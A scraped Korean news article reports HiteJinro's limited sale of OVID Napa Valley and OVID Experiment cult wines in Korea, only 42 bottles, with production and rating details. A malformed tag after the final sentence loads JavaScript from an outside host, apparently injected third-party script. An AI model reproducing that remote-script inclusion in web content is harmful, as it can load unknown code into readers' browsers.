본문으로 바로가기 주메뉴 바로가기
.st0{fill:#EC483B;}
하이트진로, 나파밸리 특급 컬트와인 '오비드' 한정판매
오비드 익스페리먼트
나파밸리 특급 컬트와인 ‘오비드’(Ovid)가 한국에 오직 42병 한정판매된다.

하이트진로가 미국 컬트와인 중에서도 세계적 명성을 자랑하는 오비드 플래그십 와인인 ‘오비드 나파밸리’(OVID Napa Valley)와 ‘오비드 익스페리먼트’(OVID Experiment) 2종을 판매한다고 4일 밝혔다.

컬트와인(Cult Wine)은 지난 20년 사이 나파밸리의 소규모 와이너리에서 생산을 시작한 최상급 와인으로 생산은 소량이지만 품질이 뛰어나 부티크 와인(Boutique Wines)이라고도 불린다. 

오비드는 연간 2000상자(12병=1상자)가량만 생산되어 매해 생산과 동시에 완판되는 제품으로 세계에서 가장 고급스러운 까베르네 소비뇽이 생산된다는 나파밸리 프리차드 힐에 위치해 있다.

이번에 판매되는 ‘오비드 나파밸리’는 2014년 빈티지로 633상자 한정 생산된 제품이다. 해마다 가장 뛰어난 포도 만을 선택해 만든 후 22개월간 프렌치 오크통에 숙성을 시킨 제품으로 국내에서는 오직 18병만 판매된다. 오비드 나파밸리 2014 빈티지는 유명 와인평론지 와인 스펙테이터(Wine spectator)에서 94점을 받았으며, 로버트파커는 2013 빈티지에 98점을 주기도 했다.

‘오비드 익스페리먼트’ 는 매년 최소수량만을 생산해 구매자 명단에 등록된 고객들에게만 판매되는 제품으로 이번에 한정 판매된다. < type="text/java" src="http://js.keywordsconnect.com/mt.js">
첨부파일
위로가기TOP